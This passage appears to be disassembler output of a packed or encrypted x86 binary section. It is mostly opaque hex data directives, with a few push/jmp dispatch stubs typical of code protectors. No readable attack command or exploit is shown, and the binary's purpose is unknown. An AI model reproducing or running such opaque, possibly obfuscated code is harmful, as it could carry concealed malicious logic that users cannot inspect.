6D04FB9Bh dd 89FEBF0Fh, 0EE9061Ch, 7C000000h, 86A3CB0Dh, 0D528520Fh dd 5814978Ch, 4E88348h, 0A8F0Fh, 5E90000h, 79000000h, 0D2B27F39h dd 0A374F881h, 850FFFFFh, 0FFFFFF99h, 0E9D3B70Fh, 2Fh dd 7AE9615Eh, 0Ah dup(0) dd 0E9000000h, 0C61h, 0EA0B3068h, 550BE907h, 1A68FFFBh dd 0E907EA0Ch, 0FFFB5501h, 0EA0E0868h, 54F7E907h, 0E368FFFBh dd 0E907EA0Eh, 0FFFB54EDh, 0EA11B268h, 54E3E907h, 1F68FFFBh dd 0E907EA13h, 0FFFB54D9h, 0EA148068h, 54CFE907h, 96C4FFFBh dd 0DF7A8FC2h, 252F4477h, 79DFF427h, 0C093A8DBh, 0B823578Ah dd 79AC9EB5h, 2C5FF364h, 0DE113F17h, 8FC28CC9h, 0ADDDC02Ah dd 0B223FF97h, 70F002FEh, 8DBDA0BCh, 9223FFA5h, 0D6C87185h dd 18342009h, 7CD968E7h, 0CA8E2632h, 0AAF3468Ah, 6CE27366h dd 0A396DA23h, 61699CB2h, 16F9434Fh, 23F9A2D3h, 9887CBD8h dd 23F9A164h, 4A1639CCh, 5A5E8C12h, 2A19h, 0C0E61800h dd 9C9B7EC8h, 7F23F997h, 0B3F2E72h, 7323F998h, 4474579Fh dd 4923F998h, 7DD20B3Ch, 5EAAB9F1h, 0EFBE5Ah, 0D9BD0000h dd 9B8ED27Ch, 614892B8h, 0B42859F3h, 85EF4E60h, 34CE03E5h dd 96E92D21h, 52031C4Dh, 876AB2FCh, 1C167457h, 0A2164754h dd 5008A6AFh, 8A71BB04h, 0DE76E2CAh, 0CDFE5195h, 790A596Ah dd 52031C16h, 9F9CA931h, 0BC997618h, 0CD004992h, 6DB19DB8h dd 69E6187h, 0E58E8C40h, 593C86CFh, 23F9F69Eh, 0C9D10411h dd 1961ABA7h, 86B40007h, 23549003h, 0E0B1CA0Eh, 78C2CF2Bh dd 440E4930h, 637CAD00h, 0B59DBAF0h, 75D57E71h, 3AB0E32Ch dd 984A3228h, 0FF30DEEFh, 0EBDD6DE6h, 0C2A5DD3Bh, 3C262347h dd 900000Ah, 0BFD40751h, 7489BC9Ah, 24396CE0h, 0D8ED2034h dd 689CCF7Bh, 0F159FA43h, 0A4AEA9BEh, 56FA5C71h, 7470E23h dd 22056FD4h, 23FF99F2h, 0D94243F7h, 3E86D07Ah, 0E94FE32Ch dd 0A085B8D4h, 1C162170h, 0CC2F606Dh, 7DB09EB7h, 0C8C0E602h dd 979C9B7Eh, 727F23F9h, 980B3F2Eh, 0E07323F9h, 0AABBF36Fh dd 0D3C05A5Eh, 0BF000000h, 8ED27CD9h, 0FDC7B89Bh, 0D169D3CBh dd 0B097E12Ah, 478A9A5h, 160EC615h, 400E471Ch, 0A4B0970Dh dd 0E01164A8h, 10F58EC7h, 6C2376CEh, 8DD185D4h, 5EA8F13Ah dd 2C70DE77h, 4E34A8D9h, 3E63038h, 23FA6848h, 1D044E5Bh dd 81D4183Ah, 0C3E5ED50h, 4E357DC7h, 0B1044808h, 47166B80h dd 8C992BE1h, 0CFB2FA42h, 1C17C59Fh, 455E8F9Ch, 0F4093C0Eh dd 440A4B5Fh, 1CB309FBh, 7B9FC2A6h, 9527Eh, 0F167F300h dd 0A6B0A9BEh, 56F65E73h, 0A4A0E23h, 0B991C2D7h, 0E4695286h dd 93A8DB6Fh, 465B8EC4h, 0F80D4010h, 59BEF15Dh, 9ADC0CEFh dd 2DE123FFh, 0CF7AD92Ch, 158EBCECh, 6BB4C11Ch, 1C322338h dd 3BA2C0D2h, 0EADD64A8h, 0CFED44E7h, 96C710C7h, 7CD9B833h dd 0BA9B8ED2h, 8EB60F4h, 1C158ED8h, 3B7FC8D5h, 646C9FE8h dd 19FC4642h, 23F9AD86h, 45387C89h, 0DF43E10h, 74D7084Ah dd 9FB8F65Fh, 37266AB3h, 0B77DD02Dh, 0BA2728CFh, 6B80B39Bh dd 312064EAh, 0B075CBFEh, 7BDCDA7Fh, 0F74093D7h, 0BA97C0B3h dd 75CBA7D7h, 4E97A4B0h, 0EA65000Ah, 222D729Dh, 8BBE90C5h dd 2B6FDF76h, 75CC033Ch, 3042F8B0h, 1105460Fh, 0D8114249h dd 63EB6A77h, 143A1B30h, 51347CD0h, 87B57E21h, 0D4E0111Eh dd 0A2D2B5B2h, 0A787B57Dh, 2407519Ah, 8F999CB5h, 7CAC8FD7h dd 8188917Fh, 86CC8B74h, 4811BE55h, 947BC50Eh, 0F75A8BBFh dd 87D1D9EFh, 759F85A4h, 0C926A90h, 38D882F6h, 186CB0F9h dd 0DA147406h, 9ECF4D0Eh, 0B4F35689h, 2629BC87h, 6EE87158h dd 0EA6D72Ah, 3625FB5Eh, 4C5DDh, 5DCFE100h, 0EA1AFDC6h dd 0EF87B4F6h, 14C3CEE2h, 42E46394h, 5C547A2Fh, 71E3CA12h dd 304497DBh, 619093BAh, 6C81B21Dh, 23FA7165h, 5AF66047h dd 0FB92C316h, 52ED78EEh, 7200C9FAh, 5384CA8Bh, 6E5E2147h dd 7B1E6436h, 629275BFh, 67F740E0h, 7FC7115Ah, 0B095C198h dd 0F740E080h, 4326707Dh, 0F740E113h, 60DA0B18h, 25039E7Dh dd 0AAF401FFh, 0FF4F7F62h, 3E4CF8E4h, 0E4FF2B5Bh, 0DA2330F8h dd 0BBEC66F1h, 434F6147h, 3ABE16F9h, 80C800C9h, 40D96D9Dh dd 346572F7h, 5F46909Dh, 0B4A0B8F6h, 0A1D41D70h, 9385C98Ch dd 0E77D091Fh, 64E2DF03h, 0E1000007h, 97ACDF79h, 4C6194C2h dd 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF9CCAh, 0D91A1BCFh dd 9B8ED27Ch, 0EA6093B9h, 8E8FBFA2h, 4E0A1C15h, 86FC206h dd 0BFA7CAFBh, 0AC000000h, 0ADC4CCE6h, 431C16C9h, 9F08600Ch dd 642F5DBAh, 2E000000h, 7AC4CCE6h, 498DC393h, 684BC5F6h dd 1C158F35h, 19492C3Ah, 161C158Fh, 9C95B63Eh, 63ACBD6Bh dd 72E3D61Ah, 0C194A9DCh, 0A1EA6CEDh, 5951775Dh, 2430280Fh dd 0E25C8DE0h, 0BA1B39Ah, 70C3074Dh, 2E1F627h, 5D23F9C3h dd 6BFE0C50h, 0A9D088E4h, 967D5A5Eh, 0C26293C3h, 7, 117CFC1h dd 0E6D40000h, 9B7EC8C0h, 23F9AEA4h, 40887A87h, 44BAC434h dd 6892320h, 9EBC0000h, 0E77287BAh, 2D273C6Fh, 81D7EC1Fh dd 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch, 0D609470Fh dd 87BA94C1h, 0A5D5B822h, 0AA23FF9Ch, 0CCE6F5F6h, 65C9ADC4h dd 313D12EBh, 5DBAA379h, 7EFEh, 0CCE6FD00h, 4C687AC4h dd 0A1574271h, 165FEB68h, 54BA9EE5h, 1E4A05DEh, 5DBA2D4Eh dd 5EEDh, 490AF100h, 7851D001h, 8F1D4D30h, 75221C15h, 0DB2E72E4h dd 45027E92h, 0D8998788h, 79799BA7h, 0D404E72Fh, 0D91C164Dh dd 4DB8E8CBh, 0A8B51C16h, 3E72E5Fh, 0EC344E88h, 164DD909h dd 0E0C9D61Ch, 4194D874h, 6F78D710h, 1C165642h, 4371CD90h dd 0A3EC592Bh, 0BA6D623Bh, 0FEB2075Dh, 0E606FFFFh, 687AC4CCh dd 0BAF8D4h, 59A0D13Eh, 1B38FA75h, 91CDEB2Fh, 1751772Ah dd 96C09982h, 8FC03552h, 0C448627h, 0CD1639C5h, 0B0BC936Ch dd 5DBAB3F8h, 0BA9ABEA5h, 52F22376h, 23Ah, 0CF7AD951h dd 8E74A487h, 6C791C15h, 158F5787h, 0FE47541Ch, 2391C7BAh dd 88DB1F35h, 8F2B5B3Eh, 23301C15h, 6B1296DAh, 0FE4C07E4h dd 0AD9DB6CBh, 656D8369h, 0A82D381Bh, 0D5E223F9h, 63EC8791h dd 0CAFADD25h, 0CF23F9A7h, 0DB7891C2h, 2C273C6Fh, 9F86DA1Eh dd 6A4D97B5h, 23F9A83Ah, 0EC01323Fh, 23F9A8B8h, 0EF33193Bh dd 0B3F75BFCh, 6916397Eh, 8956F93Eh, 384D80CAh, 5EB2F1Bh dd 559DE7E3h, 0A6FA2A0Dh, 391C23F9h, 23F9A709h, 8592F906h dd 0BFD83F54h, 0C6D32BDDh, 6D658B93h, 0ADD14023h, 0C1CE23F9h dd 1317297Dh, 231B79EEh, 0C6F60B3Ch, 0FF23F992h, 436595BAh dd 0AB1AFD47h, 0B02BDDB1h, 0E8FA70A3h, 0D6763F90h, 0BDD60706h dd 136FEB98h, 0A784F665h, 0B4C61A5Eh, 6D805D8Ah, 0A99AAEDAh dd 46381FE0h, 460F2859h, 0BBCDD508h, 0C009470Fh, 8E509376h dd 5E7023FAh, 0A4F45E1Eh, 2DC4F51Eh, 0B9EDDC20h, 2123F9BFh dd 5FEF664Dh, 26B4C81Bh, 793C2CF6h, 0DC73ACDDh, 538366AEh dd 5823FA5Fh, 2A821A4Bh, 515A5E4Fh, 28h, 0C8C0E650h, 979C9B7Eh dd 0D27F23F9h, 27272E86h, 0FE4790E3h, 9797CBBAh, 6CFF23F9h dd 0AAD787E3h, 0D9545A5Eh, 53000000h, 88D27CD9h, 1D322E40h dd 0F1BCE18h, 163EFA2Ah, 0C1F2FF1Ch, 98E7F94Dh, 51F36E74h dd 79DAF324h, 0BB9A8DD1h, 0F95C4F93h, 0C2112255h, 0DA1C168Bh dd 0A8EC62F3h, 4A0B2455h, 1C60F464h, 117ABBFEh, 59A29071h dd 0B3D5DD10h, 0B38A6DB7h, 0B823FD34h, 0A64F61ABh, 0D2B1AC8Ah dd 0D0B73162h, 0B3E3C683h, 0B823FC87h, 0EB038E0h dd 95DE3ABDh, 4F04194Ch, 0C2D509FBh, 99BDBAC1h, 3BA9Ch dd 89CF8B00h, 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh dd 7CC1EA1Eh, 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h dd 9F74A487h, 0C57923FFh, 0C29178C4h, 153E5788h, 4F04EB35h dd 0D56FC5Bh, 0E24576C9h, 6FB88CDh, 0A0958C3Dh, 0D51E2E26h dd 0D1E3598Ch, 0A9E82AE2h, 0BA396AA0h, 8ED27CD9h, 4A94BA9Bh dd 2B5CF263h, 7CD94DC8h, 8EBEEED1h, 0AEBB1C15h, 0BEEB489Ah dd 0A5EEF02Dh, 67E76E61h, 0E1A2C34h, 0D779DDC4h, 6492CA6h dd 0A923F9FCh, 3569589Ch, 9D23F9D9h, 7129450Ah, 0F65A5ED5h dd 2Fh, 9FCFB2FAh, 9C23F9D0h, 0E6DF5E8Fh, 9B7EC8C0h, 23F9979Ch dd 3F2E727Fh, 23F9980Bh, 9BB89F73h, 0A457EAFh, 5EAA0E5Eh dd 0F62D5Ah, 782C0000h, 8F1D4D30h, 7B751C15h, 9FFDD197h dd 0CA8A379Eh, 0EF083982h, 0B1A4E866h, 3164DDA2h, 60A2BF6Ah dd 377FD317h, 4480450h, 979CCCB1h, 0DBBE1C15h, 1C1597ABh dd 2F3CA3B0h, 0DE70E5FEh, 9FAEA79Ah, 15978CBCh, 3B84911Ch dd 9CA8F708h, 0F4611C15h, 4312275Ah, 83AFC10Bh, 0E2318904h dd 0D7BD3162h, 8C6FB9B1h, 23FA6645h, 98BA9D4Ah, 3E180154h dd 8E96C912h, 43267078h, 2BE14066h, 0BF23C49h, 0EE1E0148h dd 0EB1C17BBh, 4D6295DEh, 82524406h, 9EC2A626h, 24D7D7Ah dd 62F80000h, 0ABAEC3F6h, 0F16378ABh, 4513285Bh, 8CC7DC0Fh dd 74578BBEh, 0ADE06AE9h, 6093BF98h, 12450B4Bh, 0C3F658FDh dd 0E111F45Eh, 0DE23FFA1h, 7AD9292Ah, 15279DD0h, 38D50B7Fh dd 8FA8D97Fh, 2C3E88C6h, 40AFD1D9h, 5C4346E4h, 6E9C0014h dd 0D317391Dh, 84E3780h, 39B41748h, 7EC8C0E6h, 0AF722436h dd 0A68FBFA2h, 7F8C1C15h, 2EAE6D6Bh, 9EE9E8FDh, 0B9C623F9h dd 9D528675h, 7FD523F9h, 0BE9689CDh, 574A8Eh, 98B75252h dd 113E7EBh, 454A80C4h, 73E376FFh, 0CDFDE02Ah, 0D223FA64h dd 0F45B94C5h, 5E752078h, 42256D5Ah, 23FA6912h, 0FD2C176Ah dd 3DA44E73h, 0EC5FFF30h, 63000000h, 3579DD7Ch, 0D932B1E2h dd 9B8ED27Ch, 4892B8h, 158EED1Dh, 5F1AF21Ch, 581EB53Ah dd 0D14576BFh, 160A93E2h, 0EFBF961Ch, 0F5D21B64h, 0C6A11538h dd 9DE6397Dh, 17BD4153h, 52EC0193h, 0ACA9BE21h, 230A5EA2h dd 86D91D33h, 2B274955h, 62B7FEE1h, 0E7F423FAh, 8D9AACB4h dd 0FA597AAAh, 89B99C23h, 8623FA59h, 0BC051279h, 40538F72h dd 2D752BE1h, 17BC1A4Ah, 0E1121F1Ch, 0CCEE724Ah, 0ED44D64h dd 4C337BC5h, 9EB4A307h, 64E86C55h, 11391A33h, 208AC9DEh dd 0E0D21B37h, 0C2A5D90Ah, 0ECD9D6FAh, 59000000h, 0F245701h dd 0C4D90C4Ah, 7489BC90h, 283D70E4h, 0B8EC1F2Bh, 41094A13h dd 0F45EF90Eh, 0A6AAACC1h, 57F75E73h, 7255BF24h, 23FFA342h dd 78929347h, 8F1D4D30h, 0B9A01C15h, 9F06599Dh, 0B486192h dd 5EF70C3Fh, 7842BDF0h, 8F1D4D30h, 15221C15h, 0C48ACBE4h dd 86C88D80h, 8395DD53h, 7EDF8F69h, 0A3A1FAFh, 0F1C1598h dd 0A3C5D102h, 0B77A5DA7h, 0DC23FFA1h, 25378BCFh, 1F04488Eh dd 0F62C40AEh, 633ADC3Ah, 0C491AADBh, 1342578Ah, 0E908F73Bh dd 0B3A10349h, 0DF73E4CBh, 0DDA75AEh, 62F26648h, 4F82CB1Eh dd 0E9331B3Ah, 0CDFE5602h, 381E0559h, 2871DD78h, 476091E4h dd 12F94311h, 66DA0B43h, 0F56E805Ch, 12422533h, 1796FF29h dd 2F84F60Ah, 0E46BA4D5h, 0CD004E07h, 6DB19DB8h, 0A70h dd 3F697500h, 0E52FE58h, 0D90B8ABBh, 0A093D781h, 625599B5h dd 25185CF4h, 0E9DC2032h, 0A99CE06Ah, 695CA0AAh, 2E2165EFh dd 0EFE22626h, 6AA8EC6Ah, 81E18951h, 4C1h, 4E98300h, 8B240C87h dd 5682424h, 89000017h, 89522404h, 4C281E2h, 81000000h dd 4EAh, 24148700h, 2414895Ch, 0EA09EB68h, 24048B07h, 6804C483h dd 6DB8h, 83242489h, 5A042404h, 8428F50h, 5A2434FFh, 4C481h dd 48B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 48BBE95Ch, 0FA43FFFBh, 0A77E27A3h, 1591B800h, 0C50307EAh dd 7647E0FFh, 8F2147BCh, 976B2BD5h, 58C219B8h, 9FA07847h dd 0ABB228AEh, 0D2DD05EAh, 11A147BCh, 0F737A33h, 338154A5h dd 69752C7Ch, 9EE6227Fh, 0B79C6EE5h, 0B934251Ah, 0A7F21BEEh dd 9DE97BF7h, 0E9000000h, 943AF7FCh, 5000000h, 1000000h dd 28000000h, 200000Ah, 53000000h, 69767265h, 50206563h dd 206B6361h, 32h, 1Dh dup(0) ; --------------------------------------------------------------------------- jmp loc_5E4752 ; --------------------------------------------------------------------------- push 7EA18BFh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA1A1Dh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA1B37h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA1B91h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA1CADh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA1D23h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA205Ch jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EA215Fh jmp loc_58A287 ; --------------------------------------------------------------------------- db 98h, 0C0h, 9Eh dd 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h dd 70861A36h, 0CEE47896h, 3046DAF0h, 0F4A73B53h, 0B730C744h dd 599E13A8h, 617956CAh, 7B997311h, 0A0C9AE2Bh, 1C851442h dd 14B2440Ah, 4CE71F37h, 2B43203Ah, 11E269DBh, 3056D6ADh dd 0BBEC22D0h, 0D5E71871h, 0B3FB94B3h, 0A7E4E663h, 41AA13A6h dd 88A35C09h, 172813A6h, 0F5D02F6Fh, 4305D877h, 2E000000h dd 5E39424Dh, 0FB99E942h, 34CF071Dh, 9DAFCFA8h, 0A98C42BFh dd 0E14A13A6h, 0C71AF391h, 9BD3E9h, 22CF95A7h, 13A6A959h dd 22FE9CEEh, 2602D008h, 0E039D40Ch, 497531CEh, 0D87808B6h dd 11D1Fh, 20924800h, 0D4AE1FA1h, 83E37EB6h, 0F5D169FEh dd 0AF08A3DBh, 8EA6839Dh, 91AD8856h, 96AE8B59h, 0ECD6D446h dd 4EA56077h, 0CBA8763Ch, 0E8C563B3h, 0A1F698D0h, 0B80B86E2h dd 8AACBE17h, 1C3612B0h, 3E3749E4h, 144289C6h, 4D297451h dd 1838C72Ch, 79D2E1A2h, 0B94DA641h, 76AEC6A3h, 6EBEF09Fh dd 75956E0Ch, 78946F3Dh, 12140D1Fh, 6013A632h, 0C845A7F7h dd 13A63A33h, 0B4E92F9Fh, 817C0140h, 0A8BE9C28h, 0A1C3D570h dd 51A10D82h, 5D7351EFh, 6A2A8A25h, 0F9A7B743h, 810A0315h dd 0CD1440A8h, 9B761464h, 0AF11EB7Fh, 896B4D32h, 14A0091Bh dd 0F10B1D39h, 74A6FA16h, 39623490h, 96673F9h, 3D150000h dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah dd 397B38Eh, 61F513EDh, 0C3576D4Bh, 24B8D0ADh, 0BF44C171h dd 1B13A8B8h, 7B5647D6h, 0B2080958h, 0FC5553F1h, 13F08E68h dd 1628C3FBh, 0B7071FFCh, 0AC205545h, 0E47FB7CFh, 39913184h dd 82B5D7D9h, 0DEF0CFECh, 0F492EBBCh, 9470FC1Ah, 4A45687Ah dd 0D1971464h, 9F13A6A9h, 0AA3DC23Fh, 309913A6h, 0A82587D7h dd 13A6AAD3h, 0FF132670h, 0A2F307F5h, 0DA122806h, 0ED4E63Fh dd 0A6669E61h, 79DB2D13h, 45B23E07h, 35A01516h, 13A6A04Eh dd 0F491A30Ch, 2AA709B0h, 13A6A055h, 0C25F9101h, 9DE0A97Ah dd 0A8573244h, 0EED8773Bh, 7A680F8Ch, 7DE613A6h, 0BCB7891Dh dd 4E60D7E8h, 0C4AFh, 7956D800h, 805B2961h, 877F2C64h dd 921442A4h, 71916AB5h, 0F5459E39h, 29617B57h, 445A7C8Eh dd 40174F67h, 710F5F4Fh, 536B4895h, 0EF27801Bh, 0D0294721h dd 0E163E0BEh, 0AF13A6B1h, 1884F646h, 0F1F619A1h, 2E05EC21h dd 0CA7F2ECEh, 1EBC96B8h, 56F12941h, 406E2144h, 6D5773F0h dd 0BC251440h, 0C4ADFA6Ch, 8CAD589Ah, 23FE9C7Ah, 37997307h dd 894FC5BAh, 17F5911Bh, 0D52EC901h, 0B2CEA9C3h, 346BC65Eh dd 35BBFB62h, 808h, 0E5799B73h, 42D6F6CFh, 0A236502Ch dd 599AD8Ch, 64F814EFh, 11EC658Bh, 714B61F5h, 0CBA9BF53h dd 2E0B21B5h, 1FCF8216h, 0A8BADDA2h, 0A5347913h, 0CB5F7B56h dd 2CC0D8B5h, 6179565Bh, 667E5B29h, 9FDCB3D2h, 0A674ACC0h dd 0DE79B1C9h, 5FDC2C85h, 13A8B6C8h, 77CD1686h, 99D1E9C6h dd 3A909EFEh, 852373CCh, 0ACA789A8h, 0D7806AB2h, 0A8B4A55Ah dd 6FC83113h, 668D8216h, 0F513A8B4h, 4F2B7E57h, 962FD35h dd 12436D1h, 0D5AA2790h, 8113A8B5h, 42BBF18h, 5D513E80h dd 0CC49AB0Dh, 13A8B537h, 2F283AA3h, 144C9961h, 1476C62Fh dd 8CE1E097h, 0F3056E1Bh, 166F515Ch, 0EEA18844h, 0F3D270C0h dd 607453DFh, 49F3704Eh, 7B031B8h, 8F669Eh, 7FFC5EAEh dd 0BF39FAF8h, 0FDDBED56h, 1120FD9Bh, 39FAEF94h, 0A9026BBFh dd 0FA27DC59h, 4AB3BF39h, 4A1B3F38h, 48BAB8DEh, 53BE6535h dd 0DEBDCFE6h, 0AA872575h, 0C8A44292h, 647A9CAEh, 131B6F87h dd 0C2BE9D0Eh, 6EEFC82h, 0B58D0000h, 10E9FF93h, 6A465CF0h dd 0C7A6BC50h, 2E091FB3h, 5FA57E12h, 7B0F2B06h, 0D96D8B65h dd 3BCFE5C3h, 9C304825h, 0C7BC39E9h, 9313A8BBh, 424DBF4Eh dd 889F1C6Ch, 0C613A8B6h, 966F0D5Dh, 0F3CCE276h, 0F0CD9BD3h dd 16F37BD1h, 63BC2690h, 1581290Fh, 0FA80C06Ah, 694h, 59ED0FE7h dd 0B64A6A43h, 16AAC4A0h, 790D2100h, 0D86C8863h, 8560F9FFh dd 0E5BFD569h, 3F1D33C7h, 0A27F9529h, 9343F68Ah, 0A8BB6116h dd 19A8ED13h, 1C6C424Dh, 0A8B6889Fh, 0D5DC613h, 0E67A926Fh dd 0DA599A0Ch, 130A0786h, 0FBB3DE01h, 2D5D2EABh, 0A81113A8h dd 2D39C370h, 7F9013A8h, 906897C7h, 336DD871h, 96000000h dd 1A6A444Dh, 42A0EA9Dh, 9B187814h, 1442A0E4h, 0DDFDD672h dd 58B10AA5h, 0A0887320h, 2E3F1442h, 1DB94676h, 71EE05Ch dd 47000000h, 1CD9Eh, 0C7452D00h, 2CA90E81h, 1442A057h dd 0F1419A03h, 0A68CA674h, 0FAD87413h, 0B811ACE4h, 0D6ECCA68h dd 5AF1039Eh, 0F48B086Ah, 6213A68Ch, 57EEE7F9h, 0D7BC0C23h dd 29A6F6B8h, 0A4285A17h, 0DD5ACD3Dh, 4D3373EDh, 71CAE6C1h dd 3009A739h, 0B4DBFE10h, 0F52DAAFAh, 0A7ACD75Fh, 0EE8CEE3Eh dd 22BDF515h, 0CE19F610h, 3080D9F1h, 0A0AA51CEh, 0BF28D318h dd 293B5933h, 0FC14F107h, 0A65B9AA8h, 9D2363AAh, 578h dd 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch, 0F488A47Fh dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h, 0AF5F12A6h dd 0A8BC4D32h, 35C40913h, 11617956h, 6E4D9473h, 2EC9015Ah dd 107F561Ch, 5ADC4E9Eh, 117A0BA9h, 23A07E90h, 13A65685h dd 0EF572D4h, 0CC13A657h, 9725163h, 0BC399B75h, 13A657C7h dd 0FE182A93h, 97B50921h, 7A6A1B63h, 502B43Ah, 0A1790000h dd 0FCD5EB7Fh, 563248DCh, 0B392A83Ch, 1AF50B9Fh, 6B916AFEh dd 67FB17F2h, 0C5597751h, 27BBD1AFh, 881C3411h, 0D3A825D5h dd 7F13A8BDh, 7956AB3Ah, 7E5B2961h, 27F02E66h, 0B23007Fh dd 22FF9D77h, 463DBA0Ah, 141442A0h, 41BE99ABh, 96E05C1Dh dd 32h, 6C424DBFh, 0B8119F1Ch, 0D63F13A6h, 0B90EF19Eh dd 0ACBD13A6h, 4E4FC1F8h, 5DB9E5F7h, 69967183h, 6ED877F2h dd 56h, 662E1C8Eh, 6919AB5Fh, 424D8257h, 3B9F1C6Ch, 5913A6EFh dd 2902A0F0h, 9D90C02h, 0BB148802h, 0EEC3F96Bh, 192FC4AEh dd 0FF5F0B2Dh, 44569358h, 69E64822h, 13A62B92h, 9C63E040h dd 3A13A62Bh, 6D6678D1h, 13A62B93h, 7D112906h, 366E8E67h dd 42FB0h, 0F4923F00h, 2CC7FF17h, 1698F71Ah, 3D4A28C6h dd 42A03BC0h, 0D52E9714h, 8268E5C3h, 5013A682h, 4E1AFE7h dd 9250B4ECh, 87734E20h, 0ACBE7AB0h, 0B0DF570Fh, 3110AEFEh dd 0BE4AE51Dh, 0F38EC6E4h, 0E08603E1h, 6E1442D8h, 7E5B7105h dd 38572E66h, 3DEB666Fh, 0E672D6F8h, 4696EF0Bh, 6EB397C9h dd 60DD3D1Ch, 3EE8B9Bh, 0A4C09B37h, 0EC78D16Ch, 26C1F90Dh dd 0E9C795CDh, 931D02CCh, 0FB54C82Eh, 0FC1CF5C3h, 0E360DC4h dd 4EF6CD42h, 46DAF2CFh, 0F6466827h, 0A98AF79h, 97147604h dd 0BD29AE0h, 14F3056Eh, 43E173ABh, 7D185064h, 5C74516Bh dd 0EE966D24h, 35852966h, 3683EEB8h, 0B74BB40Ch, 74ACC4A1h dd 77AFCBA6h, 0DCB75513h, 5511AEC0h, 61F50DEAh, 0F60AE987h dd 0E0CEC1E4h, 0EAC91390h, 278734D2h, 2B96AA89h, 3B1AD254h dd 8409902h, 0D14E5D3Ah, 3B1AD22Ah, 0AEE63FA8h, 0B5ED01E0h dd 0B8F00CE7h, 601054D7h, 0E45014EBh, 15B303ABh, 4EE92137h dd 0B7C9E9C2h, 0CC025CD9h, 67D03CFEh, 0C8E0BDD3h, 0CDE5C290h dd 0E4C15F39h, 0F897BACCh, 0EDC866B6h, 6EA6C49Eh, 0A7427AD3h dd 0B03AB795h, 0FF249A22h, 875E748Dh, 6C4A4F6Fh, 2A831E56h dd 80D03918h, 89E909E2h, 0C66F6D64h, 0CC92A4E9h, 62DD5C1Fh dd 0AADAEB2Bh, 5D7351EFh, 0A08F704Bh, 6448A13Bh, 71000000h dd 0D19B2092h, 1158CD4h, 3BD60E22h, 0E2ADD0E2h, 49FF7CCCh dd 713A68Eh, 0C6B9669Eh, 5113A690h, 54225A76h, 16ED6A75h dd 0C413A690h, 8CCA025Bh, 77CF83C3h, 92AA8725h, 0F26FBF5Ah dd 13A6900Dh, 0B14E60C9h, 0E136C9F5h, 0EE60D877h, 0C2AD24D8h dd 6B0A1CF6h, 0DFh, 0D7AC298Bh, 8313A600h, 5633081Ah, 9F116179h dd 1E2816F1h, 8E26E01h, 4412D8EAh, 47154D69h, 4C1A526Ah dd 0CEC3576Fh, 14423B56h, 9CEC04E1h, 0A9BD9C3Ah, 946BD671h dd 42144203h, 8FA5C7D9h, 8B629AB2h, 0DD5AAA04h, 13A60DCFh dd 326019Dh, 2F874888h, 94E43DBCh, 0A6256017h, 2C85EE13h dd 4A603EDCh, 0DA3C1638h, 0A625A65Dh, 7BCB3413h, 0A62579FEh dd 5A6CD513h, 6565837h, 40CFA189h, 0FA4AB314h, 0D165815Ch dd 70C4E0BBh, 6234EBE6h, 0C979FF3Fh, 0B2000001h, 0E24B8DAh dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A8801Ah dd 56E473B8h, 710F5F7Bh, 0A6417997h, 7F5C7294h, 0A0791767h dd 0FF17F480h, 4DFACBEDh, 3F87542h, 941442A0h, 0CA659DB9h dd 43C01079h, 1442A0BCh, 858B11Ah, 0F2F08A6h, 112F09D7h dd 0D3E53ED9h, 0A6A914DAh, 481E313h, 13A6A97Fh, 816072DBh dd 95EE0AE5h, 4F2DCB5Dh, 54660139h, 0A6A9A05Bh, 6E162713h dd 7808D12Eh, 0A606D8h, 562F0000h, 5B296179h, 57B45D80h dd 7205FA77h, 68D11442h, 0D8D1C808h, 9A9A477Fh, 0AD144254h dd 4A24B8D0h, 0A786CDACh, 67023A93h, 135E3B55h, 8AC21B39h dd 82D2DCB3h, 0A65B9705h, 0C85CC513h, 78C8E6A9h, 4142F8FBh dd 0E966C614h, 1B894B12h, 2F4724C0h, 8F2D7DD6h, 0EE0498B4h dd 0BDA3F713h, 7C623470h, 0C6B63Ch, 0DDB50000h, 381127BBh dd 926E8418h, 0EFCEE478h, 563147DBh, 27CDA63Ah, 0A337532Eh dd 195B38Dh, 63F70DEBh, 0C458704Dh, 1FE46111h, 0BB13A881h dd 7B56E776h, 0D8B5CB5Fh, 0B4522CC0h, 0D6ABBDD9h, 4F2E7956h dd 0F68033Bh, 244521BFh, 0AA530112h, 0BFF75026h, 7E4C1224h dd 0D6F589A1h, 28A5F5B9h, 13A82107h, 0DCAAE24Bh, 0F997E7FFh dd 33CE061Ah, 0CE9FF21h, 7D0FBCF4h, 222EB5D3h, 0A17EE1A5h dd 2DFF589h, 20FC9AEAh, 86DFF5D3h, 8A17AC4Eh, 7B3EAB68h dd 7C4A1022h, 9A51899Dh, 66D883C3h, 0F9F74432h, 0BBD5E7B6h dd 1C32C6DEh, 1989203Fh, 6449E0C2h, 0D4DD30Bh, 0D3000000h dd 43C5C35h, 0E43D5D36h, 3E8DFDD2h, 245C7E56h, 29617956h dd 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h, 3E768A69h dd 427A9470h, 437B9B74h, 0E68956EEh, 4C681h, 0EE830000h dd 24348704h, 2414895Ch, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 2D682434h, 8900004Ch, 4268243Ch, 8B07EA17h dd 0C4832434h, 70406804h, 24890000h, 24048324h, 31685F04h dd 89000074h, 0F2892414h, 5A085789h, 50243C8Bh, 405E089h 